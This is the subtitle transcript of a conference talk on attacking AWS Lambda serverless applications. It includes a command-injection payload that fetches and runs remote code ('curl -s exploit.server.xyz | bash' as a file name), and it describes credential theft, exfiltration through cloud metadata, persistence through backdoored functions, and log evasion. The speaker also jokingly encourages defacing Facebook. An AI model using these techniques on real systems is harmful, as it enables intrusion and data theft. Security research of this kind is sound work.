1 00:00:00,000 --> 00:00:13,280 *preroll music* 2 00:00:13,280 --> 00:00:18,950 Herald: Like in the following talk I'm happy to introduce Rich Jones. Rich is 3 00:00:18,950 --> 00:00:25,010 gonna talk about what he can do in 60 milliseconds with server-less servers. 4 00:00:25,010 --> 00:00:28,660 And please give a warm round of applause for Rich! 5 00:00:28,660 --> 00:00:36,350 *applause* 6 00:00:36,350 --> 00:00:44,010 Rich: Hi everybody! Thank you very much for having me, for CCC for hosting, for 7 00:00:44,010 --> 00:00:48,940 you guys for coming out! I appreciate it. My name is Rich Jones. I'm the founder and 8 00:00:48,940 --> 00:00:55,600 CTO of gun.io. We find awesome freelance gigs for free and open source hackers. I'm 9 00:00:55,600 --> 00:01:02,540 also the author of ZAPPA. Which is the best damn server-less framework in the world. 10 00:01:02,540 --> 00:01:08,380 It can run any python web application on AWS lambda. You can build event driven 11 00:01:08,380 --> 00:01:16,140 applications you can connect roughly 500.000 connections per second globally. 12 00:01:16,140 --> 00:01:22,170 Without any operations support right out of the box for your existing apps. 13 00:01:22,170 --> 00:01:29,320 I first announced it about 6 months ago actually at Hack & Tell event at 14 00:01:29,320 --> 00:01:34,630 C-Base and now it is like used in production by all sorts of big companies 15 00:01:34,630 --> 00:01:41,020 which is pretty cool! You should try it out. Welcome to my talk, it is called Gone in 16 00:01:41,020 --> 00:01:46,700 60 Milliseconds! aka having a sexy title gets your talk accepted at conferences. 17 00:01:46,700 --> 00:01:53,310 aka Intrusion and Exfiltration in Server-less Architectures. Whoooh. What the 18 00:01:53,310 --> 00:02:01,939 hell does that mean? Quick poll. Who here is familiar with AWS Lambda? Okay, so 19 00:02:01,939 --> 00:02:08,130 about half, that's pretty good. That's what I was expecting. Okay, great. For the 20 00:02:08,130 --> 00:02:14,650 unfamiliar, the good old days of servers. You would have the web server it would 21 00:02:14,650 --> 00:02:19,070 connect to the database and that was pretty much it it would – you'd have the 22 00:02:19,070 --> 00:02:23,910 server. You'd have one server, you'ld probably run lots of services off that 23 00:02:23,910 --> 00:02:30,710 server so if you found a debug panel or something like that, you could use one of 24 00:02:30,710 --> 00:02:35,530 your favorite tools, you could get a shell and basically run a mock I know is the 25 00:02:35,530 --> 00:02:44,140 best. With the server-less architecture this one example it uses instead of a 26 00:02:44,140 --> 00:02:49,720 permanent web-server it uses this service called AWS Lambda which provides no 27 00:02:49,720 --> 00:02:55,890 permanent infrastructure Your entire application function is held in cache by 28 00:02:55,890 --> 00:03:02,570 Amazon AWS and it's spawned and destroyed on a per-request basis. So in the space of 29 00:03:02,570 --> 00:03:07,780 a single web request or whatever function request, it creates the container, returns 30 00:03:07,780 --> 00:03:13,110 and destroys the container. The code execution is triggered by a variety of 31 00:03:13,110 --> 00:03:19,440 cloud event sources every request is in an isolated container. I'm gonna put an 32 00:03:19,440 --> 00:03:24,700 asterisk next to next to isolated as you see. The big advantage for the company is 33 00:03:24,700 --> 00:03:29,030 that it's super scalable. So, because one request is one server it means that 10 34 00:03:29,030 --> 00:03:32,342 requests is 10 servers and so on and so on and so on. So you can scale this all the 35 00:03:32,342 --> 00:03:37,370 way up to like trillions of events per year which is pretty cool. It's also much 36 00:03:37,370 --> 00:03:44,220 less expensive because you pay by the millisecond .000002 dollars per 37 00:03:44,220 --> 00:03:49,570 millisecond which interestingly is now the same in euros keep an eye on that, 38 00:03:49,570 --> 00:03:56,930 I was surprised by. Security patches to the operating system are automatic because 39 00:03:56,930 --> 00:04:00,630 Amazon handles them so there is basically you don't worry about the operating system 40 00:04:00,630 --> 00:04:05,920 at all you only worry about your single function which saves time, saves money, 41 00:04:05,920 --> 00:04:11,920 and lets you fire all people who work in OPS. Some common patterns that you see for 42 00:04:11,920 --> 00:04:16,798 companies and, you know, services are using lambda. One is just the web server 43 00:04:16,798 --> 00:04:22,950 this is like if you already use zappa for a django CMS or something like this. It's 44 00:04:22,950 --> 00:04:29,460 just API gateway, another AWS service to lambda, which is the one we saw before 45 00:04:29,460 --> 00:04:32,830 Another common way that people are using this for asynchronous data processing. 46 00:04:32,830 --> 00:04:37,330 So if you have a file upload, that will then execute the lambda function which will 47 00:04:37,330 --> 00:04:44,610 store the result in a DynamoDB store and then have that trigger the upload to the 48 00:04:44,610 --> 00:04:53,909 S3 return bucket. So this is kind of like a very simple microservice type framework 49 00:04:53,909 --> 00:05:00,320 that you can use lambda for. Chat bots is another common use case So if you having a 50 00:05:00,320 --> 00:05:05,000 SMS Message or an e-mail exchange with a robot, it could be through lambda or one 51 00:05:05,000 --> 00:05:10,759 of those cool new like echo things. Maybe we will be able to like actually hack 52 00:05:10,759 --> 00:05:15,770 through those in the future using some of these techniques. So you can kind of see 53 00:05:15,770 --> 00:05:21,780 that there. And the big one that a lot of companies are using like fintech and 54 00:05:21,780 --> 00:05:28,340 medical and science companies are using for is is kind of the driving engine for 55 00:05:28,340 --> 00:05:32,289 the state machine in big data processing. This is kind of the interesting one that 56 00:05:32,289 --> 00:05:39,240 we get into a little bit more later in the talk So the lambda kind of drives the 57 00:05:39,240 --> 00:05:47,069 queue which is how the like big data processing like compute cluster is knowing 58 00:05:47,069 --> 00:05:51,840 what to do. And there is loads more of these patterns but those are some of the 59 00:05:51,840 --> 00:05:57,060 ones that I've seen pretty commonly. So when you try to attack these kind of 60 00:05:57,060 --> 00:06:01,650 applications it probably won't work. And even if it does work, it will shut down 61 00:06:01,650 --> 00:06:07,629 immediately because they live in these short lived isolated container which is 62 00:06:07,629 --> 00:06:12,749 no fun. The container dies after the function returns. Oh no! What does that 63 00:06:12,749 --> 00:06:16,620 mean for us? Us hackers. I mean it is harder to infiltrate because there is less 64 00:06:16,620 --> 00:06:21,680 common code most of the stuff is custom so far. You can't use the same wordpress 65 00:06:21,680 --> 00:06:27,419 vulnerability over and over again. The services are isolated, the functions are 66 00:06:27,419 --> 00:06:33,680 isolated, there is no users to really escalate on the system. There's no 67 00:06:33,680 --> 00:06:37,870 sysadmins to, you know, do your cool cron tricks or whatever, for gaining 68 00:06:37,870 --> 00:06:44,940 escalation. It's also harder to persist our malware because it immediately dies as 69 00:06:44,940 --> 00:06:49,910 soon as the container closes. It is also a read-only filesystem, so we can't hide our 70 00:06:49,910 --> 00:06:56,229 files deep in the operating system And it's only a sub-second lifecycle for the 71 00:06:56,229 --> 00:07:01,439 entire container anyway. There is no initialization system to infect because 72 00:07:01,439 --> 00:07:08,169 that is all taken care of by amazon and we can't get at it. It is also harder to 73 00:07:08,169 --> 00:07:12,779 exfiltrate, because there is a thing called the virtual private cloud AWS 74 00:07:12,779 --> 00:07:18,259 provides. There's also function specific roles which means a very strict 75 00:07:18,259 --> 00:07:24,690 permissioning system. A lot times we can't get a reverse shell because there is no network 76 00:07:24,690 --> 00:07:30,400 access. So basically sad face. Oh no, we're totally boned! 77 00:07:30,400 --> 00:07:38,030 No we're not, hell not, dog. When Bezos closes a door, he opens a window. 78 00:07:38,030 --> 00:07:46,950 *laughter* *applause* 79 00:07:46,950 --> 00:07:53,259 So we gonna learn some recon, some infiltration, some exploitation, some 80 00:07:53,259 --> 00:08:01,090 exfiltration and a little bit of cleanup! Part 0: Recon aka How the hell do we know 81 00:08:01,090 --> 00:08:06,389 what we're attacking? There's gonna be two attack surfaces. An outer and inner attack 82 00:08:06,389 --> 00:08:14,430 surface for a lambda function. The outer attack surfaces are the API Gateway so if 83 00:08:14,430 --> 00:08:20,569 you look at the headers and you see that it's serving dynamic content from 84 00:08:20,569 --> 00:08:26,340 CloudFront, that might an indication that you're dealing with API Gateway. 85 00:08:26,340 --> 00:08:30,430 File uploads is pretty easy if you look at whatever the upload endpoint is and you 86 00:08:30,430 --> 00:08:35,179 look at headers that says it is S3 that probably means that it's S3. If you look at 87 00:08:35,179 --> 00:08:38,620 the email headers that you you're communication to the function with you can 88 00:08:38,620 --> 00:08:44,550 see that it is Amazon SES so that is pretty obvious. There is also the inner 89 00:08:44,550 --> 00:08:49,060 attack surface. So these are services that we can't access directly, but provide 90 00:08:49,060 --> 00:08:54,630 event sources for the function, so this can mean a whole bunch of stuff, so queues 91 00:08:54,630 --> 00:08:59,250 if there are a lot of long running tasks and it's on AWS, it is possible that they 92 00:08:59,250 --> 00:09:05,480 are using the SQS queing system. But it can also mean database events, streams of 93 00:09:05,480 --> 00:09:10,480 information, user events, so logins and user creations and stuff like that can 94 00:09:10,480 --> 00:09:17,710 also be an event source. And the log system itself can provide an event source. 95 00:09:17,710 --> 00:09:25,980 Part 1 infiltration aka how the hell are we gonna weaponize all that? So lambda 96 00:09:25,980 --> 00:09:30,990 functions essentially what the application is, is kind of like a blue ball machine here. 97 00:09:30,990 --> 00:09:37,770 What we call Rube Goldberg machines. I just learned, for the translators, that 98 00:09:37,770 --> 00:09:43,200 you guys call these nonsense machines. Essentially lots of little functions and a 99 00:09:43,200 --> 00:09:48,080 lot of passing information between them. So to figure out what's going on, we're 100 00:09:48,080 --> 00:09:54,560 going to use a process of destructive mechanics aka dropping a bolt into the 101 00:09:54,560 --> 00:09:58,330 engine and then listening to the sound that it makes to try to figure out what is 102 00:09:58,330 --> 00:10:06,130 going on inside. The TL;DR of that is we gonna attack the event sources themselves, 103 00:10:06,130 --> 00:10:10,850 we're going to fire off every type of cloud event service that we can and 104 00:10:10,850 --> 00:10:18,010 basically see what shakes out. The usual suspects for infection, unsanitized input, 105 00:10:18,010 --> 00:10:25,090 deserialization bugs of all, you know all varieties, server side script injection, 106 00:10:25,090 --> 00:10:30,280 malicious binary files, and if it is a web server, most of your favorite web 107 00:10:30,280 --> 00:10:35,660 application type exploits. So just as a very trivial example of the kind of things 108 00:10:35,660 --> 00:10:43,630 that you might see here, So here is some trivially vulnerable code it's connecting 109 00:10:43,630 --> 00:10:51,600 to an S3 bucket, it's going over the items and it's calling some process on the keys 110 00:10:51,600 --> 00:10:59,310 that are in the bucket. But what happens if we create an object called: "; curl -s 111 00:10:59,310 --> 00:11:04,940 exploit.server.xyz | bash" well than that's gonna expand because it is just 112 00:11:04,940 --> 00:11:13,200 using the key name to call, you know, our exploit code on the lambda function. 113 00:11:13,200 --> 00:11:22,160 Hurray! we did it! Part 2 exploitation aka how can we escalate our infection? aka 114 00:11:22,160 --> 00:11:28,810 what the hell is a lambda? aka what's worth stealing? So if we actually find, 115 00:11:28,810 --> 00:11:31,970 you know, if we just look at the operating system of a lambda, now that we're able to 116 00:11:31,970 --> 00:11:36,730 execute commands on it. Well that won't work as we don't have a shell, everything 117 00:11:36,730 --> 00:11:46,150 on lambda had this event context pattern in it, whatever but if we do the find and 118 00:11:46,150 --> 00:11:52,680 we look at it, it pretty much looks like standard redhat 6 installation it's got 119 00:11:52,680 --> 00:11:57,760 python 2.7, interestingly it has python 3.4 on it, it's got node, it's got perl, 120 00:11:57,760 --> 00:12:04,140 it's got gcc, it's got all you know, stuff that we like. Which is pretty good. If we 121 00:12:04,140 --> 00:12:08,390 look at the system even further, we'll see that it's running an operating system 122 00:12:08,390 --> 00:12:14,890 called Amazon Linux, which is the default for EC2, so maybe it's an EC2 server. 123 00:12:14,890 --> 00:12:20,870 If it's an EC2 server, can we access the metainfo server? That's a good idea! For 124 00:12:20,870 --> 00:12:25,521 For those who don't know about the meta- data server, from Amazon docs: Instance 125 00:12:25,521 --> 00:12:29,330 metadata is data about your instance that you can use to configure or manage the 126 00:12:29,330 --> 00:12:33,450 running instance, anyone who can access the instance can view its metadata. 127 00:12:33,450 --> 00:12:38,220 Therefore, you should take suitable precautions to protect sensitive data aka 128 00:12:38,220 --> 00:12:41,620 don't get hacked, because people can look at this stuff. We can figure out all this 129 00:12:41,620 --> 00:12:46,331 information including keys and users and security groups so, you know, really good, 130 00:12:46,331 --> 00:12:53,280 good intel. What happens if we try to access the server? It doesn't work, so, 131 00:12:53,280 --> 00:12:57,170 sorry. But that's a good trick to remember if you are attacking EC2, that you can get 132 00:12:57,170 --> 00:13:01,899 a lot of information out of the metainfo server. Now you're thinking, well let's take a 133 00:13:01,899 --> 00:13:06,040 look at the environment, let's look around what's in the environment variables. 134 00:13:06,040 --> 00:13:10,360 Quite a lot actually including some inter- esting stuff like session tokens, security 135 00:13:10,360 --> 00:13:17,080 tokens, access key IDs and secret access keys. So that's pretty cool. What are 136 00:13:17,080 --> 00:13:25,260 those? Enter IAM, so this is Amazons identity and access management system 137 00:13:25,260 --> 00:13:32,670 which provides per resource authentication and authorisation definition. So basically 138 00:13:32,670 --> 00:13:39,370 1 task is gonna have 1, you know, set of authorisation to perform its functions. 139 00:13:39,370 --> 00:13:46,470 It sounds bad, it is. Like it makes our job a lot harder. The good news is that 140 00:13:46,470 --> 00:13:51,260 it's super easy to fuck up! Pretty much everybody who's using IAM has probably 141 00:13:51,260 --> 00:13:56,290 fucked up. Especially if you read the documentations which Amazon provides which 142 00:13:56,290 --> 00:14:02,930 is terrible, or even badder if they got their information from the AWS forum where 143 00:14:02,930 --> 00:14:09,170 you can find like real gems of wisdom about give everybody access to everything, 144 00:14:09,170 --> 00:14:13,640 which is nice. So full disclosure, everything all the fun stuff that we're 145 00:14:13,640 --> 00:14:20,000 gonna do, does depend on them having some misconfigured IAM even subtly 146 00:14:20,000 --> 00:14:26,780 misconfigured IAM which isn't as cool, I have to admit but it's pretty common, so I 147 00:14:26,780 --> 00:14:32,610 don't think it's unreasonable to have that, be part of our attack criteria. 148 00:14:32,610 --> 00:14:38,600 So what the keys that we saw, were part of the lambda execution policy which uses 149 00:14:38,600 --> 00:14:43,670 this permission called iam:PassRole basically you take a predefined policy for 150 00:14:43,670 --> 00:14:48,120 what a function is allowed to do. It creates a temporary user with those 151 00:14:48,120 --> 00:14:52,930 permissions and gives the credentials for that user into the userspace in those 152 00:14:52,930 --> 00:14:59,820 environment variables that we saw. So this is one of the ones that Amazon recommends, 153 00:14:59,820 --> 00:15:07,590 this is the AWS VPCAccessExecutionRole this is from Amazons documentation and 154 00:15:07,590 --> 00:15:13,880 this actually provides some interesting things that we're gonna be able to use. 155 00:15:13,880 --> 00:15:19,200 Resource:* is a great one because that means we have access to everything 156 00:15:19,200 --> 00:15:23,360 available to the account We will need to create log groups and streams, which is 157 00:15:23,360 --> 00:15:27,320 kind of interesting. Describing the network interface is also super 158 00:15:27,320 --> 00:15:31,670 interesting for us. And this will come in handy later. Okay, so we can describe the 159 00:15:31,670 --> 00:15:37,000 network What about actually like infecting the application source? Like we wanna add 160 00:15:37,000 --> 00:15:40,300 a backdoor. But first, where does the code live? So we check the environment 161 00:15:40,300 --> 00:15:48,910 variables again we see this key value for LAMBDA_TASK_ROOT which is good so we will 162 00:15:48,910 --> 00:15:54,450 just cat our backdoor into the application No that is not gonna work. Sad face, 163 00:15:54,450 --> 00:15:59,601 because it's a read-only filesystem. And even if you could, write to that, you 164 00:15:59,601 --> 00:16:05,360 know, write to the filesystem, it's not gonna persist for other users who, to call 165 00:16:05,360 --> 00:16:09,370 the function because it's not cached in memory so it would only live for the span 166 00:16:09,370 --> 00:16:14,620 of a single HTTP request which we don't care about. But, I got all of these cool, 167 00:16:14,620 --> 00:16:20,810 like hacker tools I wanna install on the system how do I do that? Fortunately there 168 00:16:20,810 --> 00:16:25,250 is /tmp space on the disk because some, you know, normal applications are gonna 169 00:16:25,250 --> 00:16:31,650 need to read and write files and stuff so /tmp is totally readable and it works as 170 00:16:31,650 --> 00:16:39,990 we'd expected to. Amazon describes this as ephemeral disk capacity. But ephemeral 171 00:16:39,990 --> 00:16:46,560 isn't quite true actually, because this is how lambda executions are not completely 172 00:16:46,560 --> 00:16:54,070 isolated. For performance reasons they're actually cached in Amazons memory across 173 00:16:54,070 --> 00:17:00,920 different executions. So because /tmp is a ram disk, and because ram is cached that 174 00:17:00,920 --> 00:17:07,730 means that /tmp is cached as well, so if we can store our tools across multiple 175 00:17:07,730 --> 00:17:14,299 executions. Yay! But the caveat for that is that we have to keep the function warm in 176 00:17:14,299 --> 00:17:20,780 memory by calling it every so often That length of time is 4 minutes, 30 seconds 177 00:17:20,780 --> 00:17:25,329 Somebody violated an NDA to tell you that, don't ask me 178 00:17:25,329 --> 00:17:28,009 *laughing* 179 00:17:28,009 --> 00:17:33,059 *applause* 180 00:17:33,059 --> 00:17:36,630 What's cool is this actually can also apply to long running processes aswell. 181 00:17:36,630 --> 00:17:43,129 It won't keep the function open, but it will, kind of, pause the process and then 182 00:17:43,129 --> 00:17:51,549 reopen it on the next execution. So now we can install, if we have linux x86_64 183 00:17:51,549 --> 00:17:56,980 compiled versions of all our favorite tools we could put them on to the lambda 184 00:17:56,980 --> 00:18:02,320 function and start calling it. Okay, so now we got some keys, we got some tools, 185 00:18:02,320 --> 00:18:07,549 what can we do? So the first thing that we probably wanna do, is just see what we're 186 00:18:07,549 --> 00:18:14,940 allowed to do. Using the AWS CLI tool we can call this code and we will get back a 187 00:18:14,940 --> 00:18:21,819 policy, and if we're lucky, it 'll be ** and then we can do whatever we want. 188 00:18:21,819 --> 00:18:28,890 Jackpot! We can create a new admin user and pillage all the databases basically, 189 00:18:28,890 --> 00:18:36,759 it's game over! Yeah right! Maybe it'll happen probably yeah right. A very brief 190 00:18:36,759 --> 00:18:42,660 interlude. If you do get the jackpot, if you are looking at Facebook's AWS usage and 191 00:18:42,660 --> 00:18:49,380 you get **** *. Don't sell the user info to spammers. Don't claim a bug bounty. Don't 192 00:18:49,380 --> 00:18:55,789 just like use their creditcard to mine bitcoin. Don't tell, you know, your 193 00:18:55,789 --> 00:19:02,370 favorite TLA. Don't even send all the information to Julian, he's busy. Bug 194 00:19:02,370 --> 00:19:07,260 bounties are boring. Espionage is boring. I'm tired of all this like spy vs spy stuff. 195 00:19:07,260 --> 00:19:12,689 Use your skills of infection for awesome. Put up a bad-ass hacking crew name, you know. 196 00:19:12,689 --> 00:19:15,549 *laughing* 197 00:19:15,549 --> 00:19:19,570 Put spooky skulls, put a bunch of spooky skulls on facebook. 198 00:19:19,570 --> 00:19:25,370 Put your IRC homies, know what's up *applause* 199 00:19:25,370 --> 00:19:32,220 I'm pretty serious about this, actually. Like I think the word losing some like 200 00:19:32,220 --> 00:19:37,070 aesthetic quality to our culture in pursuit of like money and like you know, 201 00:19:37,070 --> 00:19:43,950 careers and stuff like that. But I think the aesthetic value actually has like more 202 00:19:43,950 --> 00:19:49,309 worth and that over time is like, the broader community begins to respect like 203 00:19:49,309 --> 00:19:54,760 our aesthetic contributions, like the those hacks will actually be worth more in 204 00:19:54,760 --> 00:20:02,510 the long run than any bug bounty that you 'll get now. So like keep it real, anyway, 205 00:20:02,510 --> 00:20:03,620 that was my side. 206 00:20:03,620 --> 00:20:09,010 *applause* 207 00:20:09,010 --> 00:20:17,080 So far more likely than *.*, you gonna get some kind of like strict permission, like 208 00:20:17,080 --> 00:20:23,179 the ability to access S3 objects, or the the ability to access the database, or 209 00:20:23,179 --> 00:20:29,879 some combination thereof using various, different cloud services available. How 210 00:20:29,879 --> 00:20:34,149 can we use that for nefarious purposes you wondering. That's a great question. Part 3: 211 00:20:34,149 --> 00:20:41,809 Exfiltration aka take the money and run aka the fun part. TL;DR when you don't have 212 00:20:41,809 --> 00:20:46,610 a direct network connection, to the things that you wanna access, because you using a 213 00:20:46,610 --> 00:20:52,110 cloud provider, you can use tags, meta information, and the cloud services 214 00:20:52,110 --> 00:20:58,580 themselves to shuttle information out of the cloud. So easy mode for instance, if we 215 00:20:58,580 --> 00:21:04,679 see that we have SES permissions, send, use the email, send, you know, we have a 216 00:21:04,679 --> 00:21:08,029 single function that will let us send an email out because it's a cloud provider 217 00:21:08,029 --> 00:21:14,080 that has an e-mail service. Or send a SMS, you know, you could actually, you can hack 218 00:21:14,080 --> 00:21:21,080 something and get the results back to your virtual cellphone. Slightly harder, if you 219 00:21:21,080 --> 00:21:27,630 just have S3 objects, you could, you know, zip up the source of the application, put 220 00:21:27,630 --> 00:21:37,470 it on S3 and get it out that way. The fun thing is VPC exfiltration. So this is the 221 00:21:37,470 --> 00:21:40,320 architecture that we were talking about before It's a simple vibration but this is 222 00:21:40,320 --> 00:21:46,409 this is a pretty common architecture for big data using lambda. What is a VPC? 223 00:21:46,409 --> 00:21:50,850 Great question! Amazon VPC provides advanced security features such as 224 00:21:50,850 --> 00:21:55,529 security groups and network access control lists to enable inbound and outbound 225 00:21:55,529 --> 00:22:01,580 filtering at the instance level and subnet level. Sounds bad. It is. The good news. 226 00:22:01,580 --> 00:22:08,009 Super easy to fuck up! Especially if you read Amazons old docs and the AWS forum. 227 00:22:08,009 --> 00:22:16,309 So lambda has access to these VPC resources. aka Lambda is our VPC hole puncher. 228 00:22:16,309 --> 00:22:20,610 If you're, you know, depending on how they've implemented it, this may actually 229 00:22:20,610 --> 00:22:27,269 mean that Amazon can access your internal corporate network, which is pretty cool. 230 00:22:27,269 --> 00:22:30,970 But we don't actually even need to use the network to do that, so I'm not gonna show 231 00:22:30,970 --> 00:22:36,429 you how to do that one, you figure that out on your own, to exfil from a VPC 232 00:22:36,429 --> 00:22:42,529 without touching the VPC network. So this is our architecture. Step 1, upload the 233 00:22:42,529 --> 00:22:49,590 malicious file, like I've indicated here with a cool cyber skull. This will give us 234 00:22:49,590 --> 00:22:56,379 code execution in the Lambda environment. We gonna put out a bunch of canaries. So 235 00:22:56,379 --> 00:23:02,519 we're gonna try calling SMS, e-mail, DNS, S3, queues, everything that is available 236 00:23:02,519 --> 00:23:07,049 to us, just try to put some information out that we can read back. In this case we 237 00:23:07,049 --> 00:23:12,960 see that we can type our results into the bucket, so we can get information that way. 238 00:23:12,960 --> 00:23:18,550 So we have bidirectional communication to an owned lambda service. 239 00:23:18,550 --> 00:23:24,250 When we use the keys that we've exfiltrated that way, we look at the policy, 240 00:23:24,250 --> 00:23:29,879 we see that we have the lambda VPC access execution role from earlier, with 241 00:23:29,879 --> 00:23:35,190 resource * which is nice and our DescribeNetworkInterfaces create network 242 00:23:35,190 --> 00:23:38,809 interfaces permessions that we saw earlier, that Amazon recommends as well as 243 00:23:38,809 --> 00:23:46,150 simple S3 and SQS access just for the necessary functions that we want for the 244 00:23:46,150 --> 00:23:53,330 application. Our target in this case is the database which is still inside the VPC, so 245 00:23:53,330 --> 00:23:58,850 we no access to, direct access to the database from our lambda execution 246 00:23:58,850 --> 00:24:03,899 environment because it's all wrapped up in this VPC. But what we can do is, we can 247 00:24:03,899 --> 00:24:11,940 add things to the SQS queue. And if they're using Celery, actually uses pickle, is a 248 00:24:11,940 --> 00:24:17,029 way to shuttle information about – for the javascript developers, it's a bit like 249 00:24:17,029 --> 00:24:23,999 using eval to figure out javascript. So if we're able to add something, to, or, this 250 00:24:23,999 --> 00:24:27,989 is kind of manoeuvrer, like this is use whatever technique that, 251 00:24:27,989 --> 00:24:33,789 you know, you prefer from there to get your code on to the cluster 252 00:24:33,789 --> 00:24:40,070 but we're gonna use this pickle celery bug to create an item on the queue, 253 00:24:40,070 --> 00:24:45,909 a malicious item on the queue, that will then be picked up and run on the compute 254 00:24:45,909 --> 00:24:51,470 cluster. So now we have code execution on the cluster, but we have no way to 255 00:24:51,470 --> 00:24:56,389 actually directly communicating to it, because we're locked out of the VPC. What 256 00:24:56,389 --> 00:25:01,549 do we do now? So the interesting this is actually use meta information about the 257 00:25:01,549 --> 00:25:08,330 VPC to exfil the information that we want, so because we have the ability to describe 258 00:25:08,330 --> 00:25:17,860 network interfaces, inside the VPC, we call, we add tags, to this, to the EC2 259 00:25:17,860 --> 00:25:22,149 instances and the network interfaces to which they communicate. A lot of times 260 00:25:22,149 --> 00:25:26,820 they have this permission because tagging is useful for the admins who wanna see 261 00:25:26,820 --> 00:25:33,700 what groups are owning what So we can add the meta information about that to the 262 00:25:33,700 --> 00:25:38,389 network interface itself because the lambda has the ability to read these tags 263 00:25:38,389 --> 00:25:43,140 back out, we can then get the information that we want, we can put it through the S3 264 00:25:43,140 --> 00:25:49,999 and we can extract the information this way. So nice! This also works for the 265 00:25:49,999 --> 00:25:56,000 application binaries because we can encode something in Base64 and then put that in 266 00:25:56,000 --> 00:26:03,669 the tag set, and get that out that way Which is nice! Similarly is the compute 267 00:26:03,669 --> 00:26:08,509 cluster able to modify DNS entries that we can read, or is it able to create a named 268 00:26:08,509 --> 00:26:14,009 log groups, is it able to create queues, is it able to create buckets, etc, etc be 269 00:26:14,009 --> 00:26:19,480 creative with the AWS services the're available, there is lots! And a single 270 00:26:19,480 --> 00:26:23,149 overlapping permission can be enough In fact, even a single overlapping service 271 00:26:23,149 --> 00:26:29,799 can be enough for information exfiltration for instance you can encode information in 272 00:26:29,799 --> 00:26:34,080 the length of the queue and then read that back out you could use the same thing with 273 00:26:34,080 --> 00:26:37,889 the number of number of network interfaces that are available besides of the 274 00:26:37,889 --> 00:26:43,419 database, anything like that. So that's pretty cool! What if they fix the bug? 275 00:26:43,419 --> 00:26:48,039 Persistence, aka how can we permanently infect a system with no permanent 276 00:26:48,039 --> 00:26:54,210 infrastructure? aka abusing cloud vendor features, continued. One neat lambda 277 00:26:54,210 --> 00:26:57,639 feature that is available is the idea of function aliasing so Amazon will 278 00:26:57,639 --> 00:27:02,100 automatically give you like labels for the available functions, and store all of the 279 00:27:02,100 --> 00:27:07,249 old functions with aliases for you, which is useful for, you know, application 280 00:27:07,249 --> 00:27:11,279 maintainers because they can provide rollbacks and something goes wrong, they 281 00:27:11,279 --> 00:27:15,509 can tag their dev and prod and staging environments and stuff like that as an 282 00:27:15,509 --> 00:27:22,059 audit trail. But we can also use it to persist our malware. So we can get the 283 00:27:22,059 --> 00:27:26,989 function, get the source code for any function that's available this way, we can 284 00:27:26,989 --> 00:27:33,450 upload a backdoored version of that and then alias it to one of those previous 285 00:27:33,450 --> 00:27:38,809 functions and hide it there if we need to access it without having it, be uploaded 286 00:27:38,809 --> 00:27:42,350 every time. An alternate route, which is especially useful if the application is 287 00:27:42,350 --> 00:27:47,029 being deployed by travis, or some CI system, anything that uses CloudFormation. 288 00:27:47,029 --> 00:27:54,080 CloudFormation requires the code to be hosted on S3 permanently, for doing it's 289 00:27:54,080 --> 00:27:59,130 update function. So if we just infect the code that's on S3, the next time that the 290 00:27:59,130 --> 00:28:06,590 CI updates the application stack, it'll use our infected code, which is useful. 291 00:28:06,590 --> 00:28:11,109 This is cool because if we have access to the code buckets, than we can actually use 292 00:28:11,109 --> 00:28:16,570 a single infected lambda to infect all the other lambda functions that are available 293 00:28:16,570 --> 00:28:23,159 in the stack. One better is to actually treat the entire model serverlessly. 294 00:28:23,159 --> 00:28:29,630 So imagine if we have a simple application using the Foo lambda that's triggered when 295 00:28:29,630 --> 00:28:35,960 there is a SQS event. Which is actually gonna be one function and then all the old 296 00:28:35,960 --> 00:28:42,610 functions aliased all the way back to function 1. So if we can infect this one 297 00:28:42,610 --> 00:28:50,119 with some bug that we're exploiting, and we're able to create a backdoored function 298 00:28:50,119 --> 00:28:54,450 we can use the same code, create the new function, but it's backdoored, and then 299 00:28:54,450 --> 00:29:00,419 alias that back to the first function that'll now contain our backdoored code, 300 00:29:00,419 --> 00:29:07,109 we can create an event trigger, so that whenever new code is updated, is submitted 301 00:29:07,109 --> 00:29:12,029 to the S3 bucket where the functions are registered, that will actually trigger the 302 00:29:12,029 --> 00:29:19,320 execution of our malware, which will get the code of the new function infected with 303 00:29:19,320 --> 00:29:24,840 our backdoor, recreate the function, delete the new one, and then we have, you 304 00:29:24,840 --> 00:29:30,390 know, our backdoored version of the latest code that is permanently available for 305 00:29:30,390 --> 00:29:37,960 every request, new code uploads are the trigger for reinfection of our malware. 306 00:29:37,960 --> 00:29:42,960 Part 5 cleaning up I'll go fast here, is boring. Full disclosure, I'm not very 307 00:29:42,960 --> 00:29:49,769 tidy, so be careful with all this stuff if you need to be real stealthy. All lambda 308 00:29:49,769 --> 00:29:53,230 executions have unique execution IDs, if you just write them down, you can delete 309 00:29:53,230 --> 00:29:58,320 them later. But the errors there still gonna trigger the CloudWatch alarms, so 310 00:29:58,320 --> 00:30:04,569 can you hop off the log group, that's also available in the environment variables? 311 00:30:04,569 --> 00:30:09,489 No you can't, but you can change the retention policy, so, maybe we can just 312 00:30:09,489 --> 00:30:14,210 have it's own, and hopefully they don't look at logs. That's not very good, a 313 00:30:14,210 --> 00:30:20,539 better technique is actually to don't log anything to begin with. So because these 314 00:30:20,539 --> 00:30:25,679 functions have extremely limited memory size, cause they only build to do one 315 00:30:25,679 --> 00:30:31,859 thing, if we exhaust the memory of the function, there's not enough memory to 316 00:30:31,859 --> 00:30:39,119 actually do the logging properly, so if we wrap all of our canary code inside of 317 00:30:39,119 --> 00:30:44,299 exception handlers, that'll then just allocate all the memory that's available, 318 00:30:44,299 --> 00:30:49,229 then it doesn't count as an invocation error and it won't actually register ... 319 00:30:49,229 --> 00:30:54,889 *applause* 320 00:30:54,889 --> 00:31:00,160 Shout out to Dee, he told me that trick, my friend. One copy out of this, one 321 00:31:00,160 --> 00:31:06,450 pattern is to... time did go super fast... if they are logging everything, the flip 322 00:31:06,450 --> 00:31:09,630 side of that is that they're logging everything so that you can go and get 323 00:31:09,630 --> 00:31:16,190 everybodys password and stuff, so that's fun. Part 6 synthesis happy Christmas, 324 00:31:16,190 --> 00:31:24,379 everybody, ho ho ho, I'm Santa Claus and I'm giving you a present I'm giving you an 325 00:31:24,379 --> 00:31:29,879 AWS Lambda Infection Toolkit! Call mackenzie you can figure out why on your own. 326 00:31:29,879 --> 00:31:37,400 It can do a lot of the tricks that we talked about today. Exfil, infiltration, 327 00:31:37,400 --> 00:31:43,380 creating reinfection handlers, all the stuff, maybe your feature, put it on 328 00:31:43,380 --> 00:31:48,950 github this afternoon, check it out! In conclusion, server-less architectures present 329 00:31:48,950 --> 00:31:53,350 new obstacles, but we can defeat those obstacles by abusing cloud features 330 00:31:53,350 --> 00:31:56,740 themselves. Do you need secure serverless apps, you should hire me. 331 